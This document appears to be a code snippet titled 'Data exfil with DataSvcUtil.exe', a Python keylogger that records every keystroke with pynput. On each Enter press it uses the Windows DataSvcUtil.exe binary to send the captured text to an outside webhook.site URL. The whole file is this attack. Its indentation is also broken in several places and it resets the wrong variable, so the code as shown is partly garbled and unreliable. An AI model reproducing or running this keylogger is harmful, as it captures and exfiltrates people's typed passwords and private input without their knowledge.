Data exfil with DataSvcUtil.exe

DataSvcUtil.py

# From: https://github.com/moses-palmer/pynput
from pynput.keyboard import Key, Listener
import os
import sys
import subprocess
URL = 'https://webhook.site/xxxxxx-xxxxx-xxxx-xxxxx-xxxxxxx'
uploader = "C:\Windows\Microsoft.NET\Framework64\v3.5\DataSvcUtil.exe"
content = ""
def on_press(key):
    global content
    global URL
    global uploader
    if str(key) == 'Key.backspace':
        content += ' '
    else:
        content += str(key)
print(f'last key: {str(key)}')
    print("")
if str(key) == 'Key.enter':
        upload_url = (f'{URL}?{content}')
        subprocess.call([uploader, 'c:\\temp\\test.xml', upload_url])
        buffer = ''
if key == 0x03:
        sys.exit(0)
if __name__ == "__main__":
    try:
        with Listener(on_press=on_press) as listener:
            listener.join()
    except (KeyboardInterrupt, SystemExit):
        sys.exit(0)